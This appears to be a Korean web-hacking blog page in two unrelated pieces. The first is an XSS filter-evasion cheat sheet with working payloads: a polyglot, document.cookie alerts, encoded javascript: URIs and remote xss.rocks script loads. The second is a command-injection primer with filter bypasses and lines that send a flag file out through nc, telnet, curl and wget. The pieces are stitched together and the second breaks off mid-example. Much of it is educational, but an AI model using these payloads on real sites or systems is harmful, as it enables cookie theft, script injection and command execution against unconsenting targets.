XSS 로케이터(Polyglot)

 

  • 여러 컨텍스트에서 실행되는 다목적 XSS 페이로드.
  • HTML, JavaScript, URL 인코딩 등의 다양한 환경에서 동작 가능.
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>

 

 

 

 

  • javascript: 스키마는 브라우저에서 JavaScript 실행을 유도하는 URL 스키마
  • /*-->는 주석을 닫는 시퀀스이지만, 일부 필터가 -->를 허용하는 경우를 노린 우회 기법
  • <title>, <style>, <textarea>, <script>, <xmp> 등의 태그는 보통 브라우저가 특별한 방식으로 해석함.
    • 예를 들어 <script> 내부에서는 HTML이 해석되지 않음.
    • <textarea> 내부에서는 브라우저가 HTML 태그를 일반 텍스트로 처리.
    • <xmp> 태그도 HTML을 일반 텍스트로 해석함.
  • 따라서 이러한 태그를 닫으면서 XSS 필터링을 우회하고, HTML 코드 실행을 유도할 수 있음.
  • <svg> 태그는 JavaScript 이벤트 핸들러를 실행할 수 있는 태그 중 하나.
  • onload 속성을 사용하여 JavaScript 실행을 유도.
  • 페이로드 분석:
    • onload='+/"/+/onmouseover=1/+/[*/[]/+alert(42);//'`
    • +/"/+/` 등의 기법은 문자열 필터를 우회하려는 목적으로 사용됨.
    • onmouseover=1/+/ → onmouseover 이벤트를 추가하여 실행 가능성을 높임.
    • [*/[]/+alert(42);//' → 일부 브라우저가 alert(42);를 해석하도록 함.

 

 

 

잘못된 A 태그 이용

 

  • <a> 태그 내 이벤트 핸들러 (onmouseover)를 활용한 공격.
  • 일부 브라우저에서는 자동으로 따옴표를 추가하여 필터를 우회할 수 있음.
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>

 

  • <a> 태그에 onmouseover 속성을 추가하여, 사용자가 링크에 마우스를 올리면 alert(document.cookie)가 실행됨.
  • 따옴표(", ') 없이 onmouseover 속성에 alert(document.cookie)를 직접 삽입.
  • 브라우저는 속성 값을 자동으로 해석하므로 따옴표 없이도 실행 가능.
  • 일부 XSS 필터가 따옴표를 기준으로 필터링할 경우 이를 우회하는 기법으로 사용됨.

 

 

 

잘못된 IMG 태그

 

  • <IMG> 태그 내에서 JavaScript 실행을 유도.
  • 따옴표가 누락된 경우에도 브라우저가 자동 수정할 수 있음.
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  • <IMG> 태그는 src 속성을 포함해야 하지만, 이 코드에는 src가 없음.
  • """> → 속성 값이 없는 빈 따옴표(""), >를 통해 속성을 닫으려는 시도.
  • 일부 브라우저는 잘못된 HTML을 자동으로 수정하면서 > 이후의 내용을 새로운 태그로 해석할 수 있음.
    • 즉, <SCRIPT> 태그가 독립적으로 실행될 가능성이 있음.
    • "> → 일부 브라우저가 속성 닫힘을 보정하며 <SCRIPT> 태그를 독립적으로 해석할 가능성이 있음.
    • 결과적으로 브라우저가 코드를 다음과 같이 처리할 수도 있음

 

 

 

CharCode를 이용한 필터 우회

 

  • String.fromCharCode()를 사용하여 JavaScript 코드 실행.
  • 따옴표가 허용되지 않는 환경에서 사용 가능.
<a href="javascript:alert(String.fromCharCode(88,83,83))">Click Me!</a>

 

 

  • <a> 태그의 href 속성에 javascript:를 사용하면, 사용자가 링크를 클릭할 때 JavaScript 코드가 실행됨.
  • 이벤트 핸들러 없이 XSS를 실행하는 방법 중 하나로, 일부 필터가 onmouseover, onclick 등의 이벤트만 차단하는 경우 이를 우회하는 데 사용될 수 있음.
  • String.fromCharCode(88,83,83)는 ASCII 코드(문자 코드)를 문자열로 변환하는 JavaScript 함수.
  • 88, 83, 83은 각각 **'X', 'S', 'S'**에 해당하므로 실행 결과는 "XSS"가 됨.

 

 

 

SRC 필터를 우회하는 기본 IMG 태그

 

  • SRC 속성을 조작하여 이벤트 핸들러 실행.
  • <IMG> 태그의 onmouseover, onerror 등을 활용.

 

<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
  • SRC=#는 사실상 무의미한 값이므로 브라우저는 이미지 로드 실패와 관계없이 onmouseover 이벤트를 실행.
  • SRC= (빈 값) → 대부분의 브라우저에서 현재 페이지 URL을 이미지 경로로 간주하여 요청하지만, onmouseover는 그대로 작동함.
  • SRC 속성이 없음 → 브라우저가 <IMG> 태그를 **렌더링 오류 이미지(깨진 이미지)**로 표시할 수 있음.
    • SRC 속성이 없어도 브라우저는 <IMG> 태그를 유효한 요소로 인식.

 

 

 

IMG onerror + JavaScript 인코딩

  • HTML 엔티티 인코딩을 사용하여 필터 우회.
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
  • onerror 속성 안의 값이 HTML 엔티티(10진수)로 인코딩된 JavaScript 코드임.
  • &#0000106; 같은 표현은 특정 ASCII 문자(예: j)를 나타냄.

    위 HTML 엔티티(10진수)를 디코딩하면 다음과 같은 자바스크립트 코드가 됨.

 

 

 

10진수 HTML 문자 참조

  • javascript: 스키마를 인코딩하여 필터를 우회.
  • &#106; 등의 HTML 코드 사용.
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">Click Me!</a>
  • href 속성값이 10진수 HTML 엔티티로 인코딩된 JavaScript 코드임.
    • 위 HTML 엔티티(10진수)를 디코딩하면 다음과 같은 자바스크립트 코드가 됨.

 

 

 

후행 세미콜론 없이 10진수 HTML 문자 참조

  • 일부 필터가 & 이후 ;로 끝나야 한다고 가정하는 점을 악용.
<a href="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">Click Me</a>
  • href 속성값이 0으로 패딩된 10진수 HTML 엔티티로 인코딩된 JavaScript 코드임.
    • 후행 세미콜론(;) 필터 우회 가능

 

 

 

후행 세미콜론 없이 16진수 HTML 문자 참조

  • 16진수 문자 참조를 활용하여 필터를 우회.
<a href="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29">Click Me</a>
  • href="..." 속성에 16진수 HTML 엔티티로 인코딩된 JavaScript 코드가 포함됨.
    • 후행 세미콜론(;) 필터 우회 가능

 

 

 

 

내장된 탭 (Embedded Tab)

  • javascript:를 포함한 XSS를 탐지하는 필터를 우회하기 위해 공백 또는 탭을 삽입.
  • 일부 필터는 javascript:를 연속된 문자열로 인식하므로, 사이에 탭을 삽입하면 탐지를 피할 수 있음.
<a href="jav   ascript:alert('XSS');">Click Me</a>

 

 

 

 

내장된 인코딩된 탭 (Embedded Encoded Tab)

  • 탭(\t)을 HTML 엔티티로 인코딩하여 필터를 우회.
  • &#x09;(탭 문자)를 삽입하면 브라우저가 이를 자동으로 디코딩하여 실행.
<a href="jav&#x09;ascript:alert('XSS');">Click Me</a>

 

 

 

내장된 줄바꿈을 이용한 JavaScript 분리

  • javascript: 문자열을 줄바꿈 문자(\n 또는 \r)로 분리하여 탐지를 우회.
  • ASCII 제어 문자 &#x0A;(줄바꿈) 및 &#x0D;(캐리지 리턴)를 활용.
<a href="jav&#x0A;ascript:alert('XSS');">Click Me</a>
<a href="jav&#x0D;ascript:alert('XSS');">Click Me</a>

 

 

 

Null 문자 (%00)를 이용한 JavaScript 지시문 분리

  • Null 문자(%00)는 일반적으로 문자열의 끝을 의미하지만, 일부 브라우저에서는 여전히 실행됨.
  • 특정 필터를 우회하기 위해 JavaScript 키워드 사이에 \0을 삽입.
<IMG SRC=java\0script:alert("XSS")>

 

 

 

JavaScript 앞의 공백 및 메타 문자 활용

  • javascript: 키워드 앞에 공백 또는 특수 문자를 삽입하여 필터링 우회.
  • 브라우저는 이를 무시하고 실행.
<a href=" &#14;  javascript:alert('XSS');">Click Me</a>

 

 

 

알파벳 및 숫자가 아닌 문자를 이용한 XSS

  • XSS 필터는 태그와 속성 사이의 공백을 요구하지만, 일부 브라우저는 특수 문자를 허용.
  • /, !, #, % 등의 문자를 활용하여 필터 우회.
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  • SCRIPT/XSS와 같이 슬래시(/)가 포함되어 있는데, 이는 일부 브라우저에서 무시될 수 있
  • 일부 웹 애플리케이션 필터는 <SCRIPT> 태그를 차단하지만, <SCRIPT/XSS>처럼 변형된 태그를 탐지하지 못할 수도
  • <BODY> 태그의 onload 속성은 페이지가 로드될 때 JavaScript를 실행하는 이벤트 핸들러
  • onload="alert('XSS')"처럼 정상적인 형태라면 XSS 필터에 의해 차단될 가능성이 높음.
  • 하지만 onload 속성과 등호(=) 사이에 특수문자를 삽입하여 필터를 우회하려고 시도.

 

 

 

스크립트 태그에서 프로토콜 확인 우회

  • <SCRIPT SRC="..."에서 http:// 대신 //를 사용하면 브라우저가 자동으로 현재 프로토콜을 적용.
  • .j 확장자를 사용하면 특정 브라우저에서 실행 가능.
<SCRIPT SRC=//xss.rocks/.j>
  • 일반적인 URL과 달리 http: 또는 https: 없이 //로 시작함.
  • 이는 **"스키마 상대 URL" (Protocol-relative URL)**이라고 불리며, 현재 사용 중인 프로토콜(HTTP 또는 HTTPS)을 자동으로 따라감.
  • 일반적인 JavaScript 파일 확장자는 .js이지만, .j 같은 변형을 사용하여 보안 필터를 우회할 수 있음.
  • 일부 웹 방화벽(WAF) 또는 필터링 시스템이 .js 파일만 차단하는 경우 .j를 사용하여 우회 가능.

 

 

 

열린 꺾쇠괄호 (<)을 활용한 필터 우회

  • 일부 탐지 엔진은 <SCRIPT> 태그를 찾을 때 완전한 문자열 매칭을 요구.
  • <<SCRIPT>와 같은 변형을 사용하여 우회 가능.
 
<<SCRIPT>alert("XSS");//\<</SCRIPT>

 

 

 

종료 태그 없이 XSS 실행

  • Firefox는 <SCRIPT> 태그의 종료(</SCRIPT>)를 자동으로 추가하는 특성이 있음.
  • 따라서 종료 태그 없이도 스크립트 실행 가능.
<SCRIPT SRC=http://xss.rocks/xss.js?< B >

 

 

 

 

이어서....

'웹 해킹 > 실무' 카테고리의 다른 글

[웹해킹] Blind SQL 인젝션 자동화 도구 (python)  (0) 2024.09.03

 

이용자의 입력을 시스템 명령어로 실행하게 하는 취약점

 

시스템 명령어를 실행하는 함수에 이용자가 임의의 인자를 전달 할 수 있을 때 발생

 

이는 리눅스 쉘 프로그램이 지원하는 다양한 메타 문자 때문이다.

시스템 함수는 쉘 프로그램에 명령어를 전달하여 실행하는, 쉘 프로그램은 다양한 메타 문자를 지원한다.

 

''  명령어 치환

'' 안에 있는 명령어를 실행한 결과로 치환된다.

$ echo `echo theori`
theori

 

$() 명령어 치환

$() 안에 있는 명령어를 실행한 결과로 치환된다. 중복 사용이 가능하다.

$ echo $(echo $(echo theori))
theori

 

&& 명령어 연속 실행

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어가 실행된다.

$ echo hello && echo theori
hello
theori

 

 

|| 명령어 연속 실행

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어에서 에러가 발생해야 뒷 명령어가 실행된다.

$ cat / || echo theori
cat: /: Is a directory
theori

 

 

; 명령어 구분자

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행한다.

$ echo hello ; echo theori
hello
theori

 

 

| 파이프

앞 명령어의 결과가 뒷 명령어의 입력으로 들어간다.

$ echo id | /bin/sh
uid=1001(theori) gid=1001(theori) groups=1001(theori)

 

 

 


 

필터링 우회

명령어의 입력으로 들어가는 문자열을 필터링하는 경우

echo -e "\x66\x6c\x61\x67" | xargs cat -e    //16진수 ASCII
cat $'\146\154\141\147'                      //8진수 ASCII
cat [0-z][0-z][0-z][0-z]
cat ????
cat FL${}AG

 

 

명령어(cat, ls, ...) 를 필터링하는 경우

c''a""t flag
c${invalid_variable}a${XX}t flag

 

 

공백을 필터링하는 경우

{cat,flag}
cat$IFS$()flag
cat${IFS}flag

 

 

실행 결과를 확인할 수 없는 환경에서 방법 (결과가 출력되지 않을 때)

 

nc, telcet 사용

cat flag | nc 127.0.0.1 8000
cat flag | telnet 127.0.0.1 8000

 

 

curl, wget 사용

curl "http://127.0.0.1:8080/?$(cat flag|base64 -w0)" // GET 요청
curl http://127.0.0.1:8080/ -d "$(cat flag)"         // POST 요청

wget http://127.0.0.1:8080 --method=POST --body-data="`cat flag`"

 

 

 


 

예제

URL 쿼리를 통해 전달되는 query  값을 ping 명령어의 인자로 전달하고

해당 명령어가 subprocess.check_output() 함수를 이용해 실행되어 출력되는 프로그램이 있다.

 

 

메타 문자를 이용하여 뒤에 원하는 명령어를 함께 실행시킬 수 있다.

+ Recent posts